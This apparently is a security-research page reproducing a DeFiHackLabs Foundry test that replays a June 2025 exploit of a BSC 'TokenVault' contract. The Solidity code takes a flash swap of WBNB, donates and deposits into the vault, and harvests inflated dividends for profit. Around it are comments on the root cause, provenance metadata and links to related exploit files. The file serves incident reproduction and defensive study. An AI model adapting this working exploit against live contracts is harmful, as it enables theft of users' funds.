Public reproduction file
src/test/2025-06/TokenVault_exp.sol
Public reproduction file for dataset entry TokenVault.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 3,226.51 USD8// Attacker : 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE9// Attack Contract : 0x96cFc7fd01fCF3A3b6eE4891b4D2B7e0A951AD7010// Vulnerable Contract : 0x5b68EfE78D9951a8C347A5Dc807998c40934CD1411// Attack Tx : https://bscscan.com/tx/0x3de562f2fdaeb379ccbe8d244a56189db2a0f91410cd0f464274e51e4518e55512//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x5b68EfE78D9951a8C347A5Dc807998c40934CD14#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/132518//19// Attack summary: the attacker borrowed WBNB from the Pancake WBNB/USDT pair, donated WBNB into the20// TokenVault drip pool, deposited WBNB into the vault, resolved the fresh shares, harvested the resulting21// WBNB dividends, repaid the flash swap, and kept the remaining WBNB.22// Root cause: TokenVault adds freshly deposited shares before allocating deposit fees and also lets a23// same-transaction holder resolve then harvest against existing drip/fee accounting. A temporary WBNB24// position can therefore receive more WBNB from the vault than the donated/deposited principal.25// Related incident: BUSD TokenVault tx26// https://bscscan.com/tx/0x00e5c8e39eece020ad21d965402d2f9248f0a6ab62030830b12f9823c2b6d76328address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;29address constant WBNB_USDT_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;30address constant TOKEN_VAULT = 0x5b68EfE78D9951a8C347A5Dc807998c40934CD14;31address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;32address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;34uint256 constant FLASH_WBNB_AMOUNT = 4 ether;35uint256 constant DONATE_AMOUNT = 2 ether;36uint256 constant DEPOSIT_AMOUNT = 1_114_100_000_000_000_000;37uint256 constant HISTORICAL_SHARE_BALANCE = 1_002_690_000_000_000_000;38uint256 constant HARVESTED_WBNB = 8_108_136_659_505_117_400;39uint256 constant FLASH_WBNB_REPAY = 4_010_400_000_000_000_000;40uint256 constant HISTORICAL_PROFIT = 4_983_636_659_505_117_400;42interface ITokenVault1325 {43 function donate(44 uint256 amount45 ) external returns (uint256);46 function depositTo(address user, uint256 amount) external returns (uint256);47 function myTokens() external view returns (uint256);48 function resolve(49 uint256 amount50 ) external;51 function harvest() external;52}54contract ContractTest is BaseTestWithBalanceLog {55 function setUp() public {56 // step 1: fork before the attack transaction and configure WBNB as the profit asset.57 uint256 forkBlock = 51_783_614;58 vm.createSelectFork("bsc", forkBlock);59 vm.roll(51_783_615);60 vm.warp(1_750_419_729);62 fundingToken = WBNB_TOKEN;63 attacker = ATTACKER;65 vm.label(ATTACKER, "Attacker");66 vm.label(WBNB_USDT_PAIR, "WBNB/USDT Pancake pair");67 vm.label(TOKEN_VAULT, "TokenVault");68 vm.label(WBNB_TOKEN, "WBNB");69 vm.label(USDT_TOKEN, "USDT");70 }72 function testExploit() public balanceLog {73 // step 2: verify pair token ordering and capture balances before the flash swap.74 assertEq(IPancakePair(WBNB_USDT_PAIR).token0(), USDT_TOKEN);75 assertEq(IPancakePair(WBNB_USDT_PAIR).token1(), WBNB_TOKEN);77 uint256 pairWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(WBNB_USDT_PAIR);78 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);80 TokenVaultAttack attack = new TokenVaultAttack(ATTACKER);81 // step 3: execute the attacker flow.82 attack.execute();84 uint256 attackerProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;85 // step 8: assert the trace-matched WBNB profit and pair repayment.86 assertEq(attackerProfit, HISTORICAL_PROFIT);87 assertEq(IERC20(WBNB_TOKEN).balanceOf(WBNB_USDT_PAIR), pairWbnbBefore + FLASH_WBNB_REPAY - FLASH_WBNB_AMOUNT);88 }89}91contract TokenVaultAttack is IPancakeCallee {92 address private immutable profitReceiver;94 constructor(95 address receiver96 ) {97 profitReceiver = receiver;98 }100 function execute() external {101 // step 4: borrow WBNB from the Pancake pair and enter pancakeCall.102 IPancakePair(WBNB_USDT_PAIR).swap(0, FLASH_WBNB_AMOUNT, address(this), abi.encode(uint256(1)));103 // step 7: forward remaining WBNB profit to the attacker.104 IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this)));105 }107 function pancakeCall(address, uint256 amount0, uint256 amount1, bytes calldata) external override {108 require(msg.sender == WBNB_USDT_PAIR, "unexpected pair");109 require(amount0 == 0 && amount1 == FLASH_WBNB_AMOUNT, "unexpected flash amount");111 // step 5: donate and deposit WBNB so fresh shares join the same accounting round.112 IERC20(WBNB_TOKEN).approve(TOKEN_VAULT, FLASH_WBNB_AMOUNT);114 ITokenVault1325(TOKEN_VAULT).donate(DONATE_AMOUNT);115 ITokenVault1325(TOKEN_VAULT).depositTo(address(this), DEPOSIT_AMOUNT);117 uint256 shareBalance = ITokenVault1325(TOKEN_VAULT).myTokens();118 require(shareBalance == HISTORICAL_SHARE_BALANCE, "unexpected shares");120 // step 6: resolve fresh shares, harvest inflated WBNB dividends, and repay the flash swap.121 ITokenVault1325(TOKEN_VAULT).resolve(shareBalance);123 uint256 beforeHarvest = IERC20(WBNB_TOKEN).balanceOf(address(this));124 ITokenVault1325(TOKEN_VAULT).harvest();125 require(IERC20(WBNB_TOKEN).balanceOf(address(this)) - beforeHarvest == HARVESTED_WBNB, "unexpected harvest");127 IERC20(WBNB_TOKEN).transfer(WBNB_USDT_PAIR, FLASH_WBNB_REPAY);128 }129}Analysis
Dataset entry
Public Foundry test for “TokenVault” (2025-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0x96cfc7fd01fcf3a3b6ee4891b4d2b7e0a951ad70
- Vulnerable Contract
0x5b68efe78d9951a8c347a5dc807998c40934cd14
- Attack Tx
0x3de562f2fdaeb379ccbe8d244a56189db2a0f91410cd0f464274e51e4518e555
File record
- Name
- TokenVault
- Path
- src/test/2025-06/TokenVault_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 803173522bcc931f784d2bac46273b27a99541fe
- Language
- Solidity
- Size
- 130 lines
- Date
- 2025-06-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/TokenVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 803173522bcc931f784d2bac46273b27a99541fe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.